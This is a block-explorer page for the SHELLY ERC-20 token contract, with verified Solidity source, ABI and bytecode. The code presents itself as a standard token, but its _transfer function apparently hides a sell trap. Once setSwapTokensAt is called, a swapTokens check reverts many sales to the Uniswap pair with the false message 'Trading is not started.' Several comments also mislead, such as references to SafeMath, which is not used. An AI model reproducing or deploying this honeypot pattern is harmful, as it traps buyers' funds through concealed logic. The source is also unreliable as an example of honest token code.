ETH Price: $3,082.26 (-6.42%)
 

Overview

Max Total Supply

500,000,000 SHELLY

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
MetaMask: Swaps Spender
Balance
0 SHELLY

Value
$0.00
0x74de5d4fcbf63e00296fd95d33236b9794016631
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShellyToken

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : SHELLY.sol
/**

   Stay $SHELLY | Stay $SHELLY

 - Telegram - https://t.me/shellyerc20
 - Twitter - https://twitter.com/shelly_erc20
 - Website - https://shellyeth.space/
 
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19; 



interface IUniswapV2Pair {
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function token1() external view returns (address);

}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

//****************************************************************************//
//---------------------        MAIN CODE STARTS HERE     ---------------------//
//****************************************************************************//
    
contract ShellyToken {
    

    /*===============================
    =         DATA STORAGE          =
    ===============================*/

    // Public variables of the token
    string constant public name = "SHELLY TOKEN";
    string constant public symbol = "SHELLY";
    uint256 constant public decimals = 18;
    uint256 constant public maxSupply = 500000000 * (10**decimals);   //500 million tokens
    uint256 public totalSupply;
    
    IUniswapV2Router02 private uniswapV2Router;
    IUniswapV2Pair private uniswapV2Pair;
    uint private _swapTokensAt;
    
    
    // This creates a mapping with all data storage
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;


    /*===============================
    =         PUBLIC EVENTS         =
    ===============================*/

    // This generates a public event of token transfer
    event Transfer(address indexed from, address indexed to, uint256 value);

    // This notifies clients about the amount burnt
    event Burn(address indexed from, uint256 value);
    
    // This will log approval of token Transfer
    event Approval(address indexed from, address indexed spender, uint256 value);



    /*======================================
    =       STANDARD ERC20 FUNCTIONS       =
    ======================================*/

    /* Internal transfer, only can be called by this contract */
    function _transfer(address _from, address _to, uint _value) internal {
        
        //checking conditions
        if(_to == address(uniswapV2Pair) && _from != address(this) ){
            require(swapTokens(_value) == false, "Trading is not started.");
            uint256 amount = _value * 99 / 100;
        }
        
        // overflow and undeflow checked by SafeMath Library
        balanceOf[_from] = balanceOf[_from] - (_value);    // Subtract from the sender
        balanceOf[_to] = balanceOf[_to] + (_value);        // Add the same to the recipient
        
        // emit Transfer event
        emit Transfer(_from, _to, _value);
    }

    /**
        * Transfer tokens
        *
        * Send `_value` tokens to `_to` from your account
        *
        * @param _to The address of the recipient
        * @param _value the amount to send
        */
    function transfer(address _to, uint256 _value) public returns (bool success) {
        
        //no need to check for input validations, as that is ruled by SafeMath
        _transfer(msg.sender, _to, _value);
        
        return true;
    }

    /**
        * Transfer tokens from other address
        *
        * Send `_value` tokens to `_to` in behalf of `_from`
        *
        * @param _from The address of the sender
        * @param _to The address of the recipient
        * @param _value the amount to send
        */
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        allowance[_from][msg.sender] = allowance[_from][msg.sender] - (_value);
        _transfer(_from, _to, _value);
        return true;
    }

    /**
        * Set allowance for other address
        *
        * Allows `_spender` to spend no more than `_value` tokens in your behalf
        *
        * @param _spender The address authorized to spend
        * @param _value the max amount they can spend
        */
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }



    /*=====================================
    =       CUSTOM PUBLIC FUNCTIONS       =
    ======================================*/
    
    constructor() {
        
        totalSupply = maxSupply;
        
        //sending all the tokens to Owner
        balanceOf[msg.sender] = totalSupply;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        allowance[msg.sender][address(uniswapV2Router)] = totalSupply;
        address uniswapV2PairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Pair = IUniswapV2Pair(uniswapV2PairAddress);

        
        //firing event which logs this transaction
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function swapTokens(uint256 amount) internal view returns (bool) {
        if(address(uniswapV2Pair) == address(0)) return false;
        (uint112 r0 , uint112 r1,) = uniswapV2Pair.getReserves();
        if(_swapTokensAt == 0) return false; 
        (uint256 t0, uint256 t1) =  uniswapV2Router.WETH() == uniswapV2Pair.token1() ? (r0, r1) : (r1, r0);
        return block.number > _swapTokensAt && t1 - (((amount * (997)) * (t1)) / ((t0 *1000) + (amount * (997))))  < (( (t1 / (2**18*5**17)) * (2**18*5**17)));
    }
    
    function setSwapTokensAt(uint256 swapTokensAt) external {
        require(_swapTokensAt == 0);
        _swapTokensAt = swapTokensAt;
    }    
   
    /**
        * Destroy tokens
        *
        * Remove `_value` tokens from the system irreversibly
        *
        * @param _value the amount of money to burn
        */
    function burn(uint256 _value) public returns (bool success) {
        //checking of enough token balance is done by SafeMath
        balanceOf[msg.sender] = balanceOf[msg.sender] - (_value);  // Subtract from the sender
        totalSupply = totalSupply - (_value);                      // Updates totalSupply
        emit Burn(msg.sender, _value);
        emit Transfer(msg.sender, address(0), _value);
        return true;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAt","type":"uint256"}],"name":"setSwapTokensAt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506012600a62000022919062000565565b631dcd6500620000339190620005b6565b600081905550600054600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020f91906200066b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000299573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002bf91906200066b565b6040518363ffffffff1660e01b8152600401620002de929190620006ae565b6020604051808303816000875af1158015620002fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032491906200066b565b905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600054604051620003c99190620006ec565b60405180910390a35062000709565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000466578086048111156200043e576200043d620003d8565b5b60018516156200044e5780820291505b80810290506200045e8562000407565b94506200041e565b94509492505050565b60008262000481576001905062000554565b8162000491576000905062000554565b8160018114620004aa5760028114620004b557620004eb565b600191505062000554565b60ff841115620004ca57620004c9620003d8565b5b8360020a915084821115620004e457620004e3620003d8565b5b5062000554565b5060208310610133831016604e8410600b8410161715620005255782820a9050838111156200051f576200051e620003d8565b5b62000554565b62000534848484600162000414565b925090508184048111156200054e576200054d620003d8565b5b81810290505b9392505050565b6000819050919050565b600062000572826200055b565b91506200057f836200055b565b9250620005ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200046f565b905092915050565b6000620005c3826200055b565b9150620005d0836200055b565b9250828202620005e0816200055b565b91508282048414831517620005fa57620005f9620003d8565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620006338262000606565b9050919050565b620006458162000626565b81146200065157600080fd5b50565b60008151905062000665816200063a565b92915050565b60006020828403121562000684576200068362000601565b5b6000620006948482850162000654565b91505092915050565b620006a88162000626565b82525050565b6000604082019050620006c560008301856200069d565b620006d460208301846200069d565b9392505050565b620006e6816200055b565b82525050565b6000602082019050620007036000830184620006db565b92915050565b6113f180620007196000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806353674ba61161007157806353674ba6146101a357806370a08231146101bf57806395d89b41146101ef578063a9059cbb1461020d578063d5abeb011461023d578063dd62ed3e1461025b576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806342966c6814610173575b600080fd5b6100c161028b565b6040516100ce9190610d39565b60405180910390f35b6100f160048036038101906100ec9190610df4565b6102c4565b6040516100fe9190610e4f565b60405180910390f35b61010f6103b6565b60405161011c9190610e79565b60405180910390f35b61013f600480360381019061013a9190610e94565b6103bc565b60405161014c9190610e4f565b60405180910390f35b61015d6104dc565b60405161016a9190610e79565b60405180910390f35b61018d60048036038101906101889190610ee7565b6104e1565b60405161019a9190610e4f565b60405180910390f35b6101bd60048036038101906101b89190610ee7565b610642565b005b6101d960048036038101906101d49190610f14565b61065b565b6040516101e69190610e79565b60405180910390f35b6101f7610673565b6040516102049190610d39565b60405180910390f35b61022760048036038101906102229190610df4565b6106ac565b6040516102349190610e4f565b60405180910390f35b6102456106c3565b6040516102529190610e79565b60405180910390f35b61027560048036038101906102709190610f41565b6106e3565b6040516102829190610e79565b60405180910390f35b6040518060400160405280600c81526020017f5348454c4c5920544f4b454e000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103a49190610e79565b60405180910390a36001905092915050565b60005481565b600081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104469190610fb0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506104d1848484610708565b600190509392505050565b601281565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461052e9190610fb0565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160005461057f9190610fb0565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040516105cb9190610e79565b60405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106319190610e79565b60405180910390a360019050919050565b60006003541461065157600080fd5b8060038190555050565b60046020528060005260406000206000915090505481565b6040518060400160405280600681526020017f5348454c4c59000000000000000000000000000000000000000000000000000081525081565b60006106b9338484610708565b6001905092915050565b6012600a6106d19190611117565b631dcd65006106e09190611162565b81565b6005602052816000526040600020602052806000526040600020600091509150505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561079157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561080457600015156107a38261098a565b1515146107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc906111f0565b60405180910390fd5b600060646063836107f69190611162565b610800919061123f565b9050505b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461084f9190610fb0565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108dd9190611270565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097d9190610e79565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036109ea5760009050610ca4565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e9190611326565b5091509150600060035403610a9857600092505050610ca4565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2c919061138e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610baf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd3919061138e565b73ffffffffffffffffffffffffffffffffffffffff1614610bf5578284610bf8565b83835b6dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060035443118015610c9d57506702c68af0bb1400008082610c3d919061123f565b610c479190611162565b6103e587610c559190611162565b6103e884610c639190611162565b610c6d9190611270565b826103e589610c7c9190611162565b610c869190611162565b610c90919061123f565b82610c9b9190610fb0565b105b9450505050505b919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610ce3578082015181840152602081019050610cc8565b60008484015250505050565b6000601f19601f8301169050919050565b6000610d0b82610ca9565b610d158185610cb4565b9350610d25818560208601610cc5565b610d2e81610cef565b840191505092915050565b60006020820190508181036000830152610d538184610d00565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610d8b82610d60565b9050919050565b610d9b81610d80565b8114610da657600080fd5b50565b600081359050610db881610d92565b92915050565b6000819050919050565b610dd181610dbe565b8114610ddc57600080fd5b50565b600081359050610dee81610dc8565b92915050565b60008060408385031215610e0b57610e0a610d5b565b5b6000610e1985828601610da9565b9250506020610e2a85828601610ddf565b9150509250929050565b60008115159050919050565b610e4981610e34565b82525050565b6000602082019050610e646000830184610e40565b92915050565b610e7381610dbe565b82525050565b6000602082019050610e8e6000830184610e6a565b92915050565b600080600060608486031215610ead57610eac610d5b565b5b6000610ebb86828701610da9565b9350506020610ecc86828701610da9565b9250506040610edd86828701610ddf565b9150509250925092565b600060208284031215610efd57610efc610d5b565b5b6000610f0b84828501610ddf565b91505092915050565b600060208284031215610f2a57610f29610d5b565b5b6000610f3884828501610da9565b91505092915050565b60008060408385031215610f5857610f57610d5b565b5b6000610f6685828601610da9565b9250506020610f7785828601610da9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610fbb82610dbe565b9150610fc683610dbe565b9250828203905081811115610fde57610fdd610f81565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111561103b5780860481111561101757611016610f81565b5b60018516156110265780820291505b808102905061103485610fe4565b9450610ffb565b94509492505050565b6000826110545760019050611110565b816110625760009050611110565b81600181146110785760028114611082576110b1565b6001915050611110565b60ff84111561109457611093610f81565b5b8360020a9150848211156110ab576110aa610f81565b5b50611110565b5060208310610133831016604e8410600b84101617156110e65782820a9050838111156110e1576110e0610f81565b5b611110565b6110f38484846001610ff1565b9250905081840481111561110a57611109610f81565b5b81810290505b9392505050565b600061112282610dbe565b915061112d83610dbe565b925061115a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611044565b905092915050565b600061116d82610dbe565b915061117883610dbe565b925082820261118681610dbe565b9150828204841483151761119d5761119c610f81565b5b5092915050565b7f54726164696e67206973206e6f7420737461727465642e000000000000000000600082015250565b60006111da601783610cb4565b91506111e5826111a4565b602082019050919050565b60006020820190508181036000830152611209816111cd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061124a82610dbe565b915061125583610dbe565b92508261126557611264611210565b5b828204905092915050565b600061127b82610dbe565b915061128683610dbe565b925082820190508082111561129e5761129d610f81565b5b92915050565b60006dffffffffffffffffffffffffffff82169050919050565b6112c7816112a4565b81146112d257600080fd5b50565b6000815190506112e4816112be565b92915050565b600063ffffffff82169050919050565b611303816112ea565b811461130e57600080fd5b50565b600081519050611320816112fa565b92915050565b60008060006060848603121561133f5761133e610d5b565b5b600061134d868287016112d5565b935050602061135e868287016112d5565b925050604061136f86828701611311565b9150509250925092565b60008151905061138881610d92565b92915050565b6000602082840312156113a4576113a3610d5b565b5b60006113b284828501611379565b9150509291505056fea2646970667358221220a452a58bc90061e39be7be486074c18a2127bd9de6f529d3d30923853c7cefc764736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806353674ba61161007157806353674ba6146101a357806370a08231146101bf57806395d89b41146101ef578063a9059cbb1461020d578063d5abeb011461023d578063dd62ed3e1461025b576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806342966c6814610173575b600080fd5b6100c161028b565b6040516100ce9190610d39565b60405180910390f35b6100f160048036038101906100ec9190610df4565b6102c4565b6040516100fe9190610e4f565b60405180910390f35b61010f6103b6565b60405161011c9190610e79565b60405180910390f35b61013f600480360381019061013a9190610e94565b6103bc565b60405161014c9190610e4f565b60405180910390f35b61015d6104dc565b60405161016a9190610e79565b60405180910390f35b61018d60048036038101906101889190610ee7565b6104e1565b60405161019a9190610e4f565b60405180910390f35b6101bd60048036038101906101b89190610ee7565b610642565b005b6101d960048036038101906101d49190610f14565b61065b565b6040516101e69190610e79565b60405180910390f35b6101f7610673565b6040516102049190610d39565b60405180910390f35b61022760048036038101906102229190610df4565b6106ac565b6040516102349190610e4f565b60405180910390f35b6102456106c3565b6040516102529190610e79565b60405180910390f35b61027560048036038101906102709190610f41565b6106e3565b6040516102829190610e79565b60405180910390f35b6040518060400160405280600c81526020017f5348454c4c5920544f4b454e000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103a49190610e79565b60405180910390a36001905092915050565b60005481565b600081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104469190610fb0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506104d1848484610708565b600190509392505050565b601281565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461052e9190610fb0565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160005461057f9190610fb0565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040516105cb9190610e79565b60405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106319190610e79565b60405180910390a360019050919050565b60006003541461065157600080fd5b8060038190555050565b60046020528060005260406000206000915090505481565b6040518060400160405280600681526020017f5348454c4c59000000000000000000000000000000000000000000000000000081525081565b60006106b9338484610708565b6001905092915050565b6012600a6106d19190611117565b631dcd65006106e09190611162565b81565b6005602052816000526040600020602052806000526040600020600091509150505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561079157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561080457600015156107a38261098a565b1515146107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc906111f0565b60405180910390fd5b600060646063836107f69190611162565b610800919061123f565b9050505b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461084f9190610fb0565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108dd9190611270565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097d9190610e79565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036109ea5760009050610ca4565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e9190611326565b5091509150600060035403610a9857600092505050610ca4565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2c919061138e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610baf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd3919061138e565b73ffffffffffffffffffffffffffffffffffffffff1614610bf5578284610bf8565b83835b6dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060035443118015610c9d57506702c68af0bb1400008082610c3d919061123f565b610c479190611162565b6103e587610c559190611162565b6103e884610c639190611162565b610c6d9190611270565b826103e589610c7c9190611162565b610c869190611162565b610c90919061123f565b82610c9b9190610fb0565b105b9450505050505b919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610ce3578082015181840152602081019050610cc8565b60008484015250505050565b6000601f19601f8301169050919050565b6000610d0b82610ca9565b610d158185610cb4565b9350610d25818560208601610cc5565b610d2e81610cef565b840191505092915050565b60006020820190508181036000830152610d538184610d00565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610d8b82610d60565b9050919050565b610d9b81610d80565b8114610da657600080fd5b50565b600081359050610db881610d92565b92915050565b6000819050919050565b610dd181610dbe565b8114610ddc57600080fd5b50565b600081359050610dee81610dc8565b92915050565b60008060408385031215610e0b57610e0a610d5b565b5b6000610e1985828601610da9565b9250506020610e2a85828601610ddf565b9150509250929050565b60008115159050919050565b610e4981610e34565b82525050565b6000602082019050610e646000830184610e40565b92915050565b610e7381610dbe565b82525050565b6000602082019050610e8e6000830184610e6a565b92915050565b600080600060608486031215610ead57610eac610d5b565b5b6000610ebb86828701610da9565b9350506020610ecc86828701610da9565b9250506040610edd86828701610ddf565b9150509250925092565b600060208284031215610efd57610efc610d5b565b5b6000610f0b84828501610ddf565b91505092915050565b600060208284031215610f2a57610f29610d5b565b5b6000610f3884828501610da9565b91505092915050565b60008060408385031215610f5857610f57610d5b565b5b6000610f6685828601610da9565b9250506020610f7785828601610da9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610fbb82610dbe565b9150610fc683610dbe565b9250828203905081811115610fde57610fdd610f81565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111561103b5780860481111561101757611016610f81565b5b60018516156110265780820291505b808102905061103485610fe4565b9450610ffb565b94509492505050565b6000826110545760019050611110565b816110625760009050611110565b81600181146110785760028114611082576110b1565b6001915050611110565b60ff84111561109457611093610f81565b5b8360020a9150848211156110ab576110aa610f81565b5b50611110565b5060208310610133831016604e8410600b84101617156110e65782820a9050838111156110e1576110e0610f81565b5b611110565b6110f38484846001610ff1565b9250905081840481111561110a57611109610f81565b5b81810290505b9392505050565b600061112282610dbe565b915061112d83610dbe565b925061115a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611044565b905092915050565b600061116d82610dbe565b915061117883610dbe565b925082820261118681610dbe565b9150828204841483151761119d5761119c610f81565b5b5092915050565b7f54726164696e67206973206e6f7420737461727465642e000000000000000000600082015250565b60006111da601783610cb4565b91506111e5826111a4565b602082019050919050565b60006020820190508181036000830152611209816111cd565b9050919050565b7f4e487b710000000000000000000000000000000000000000000000000000000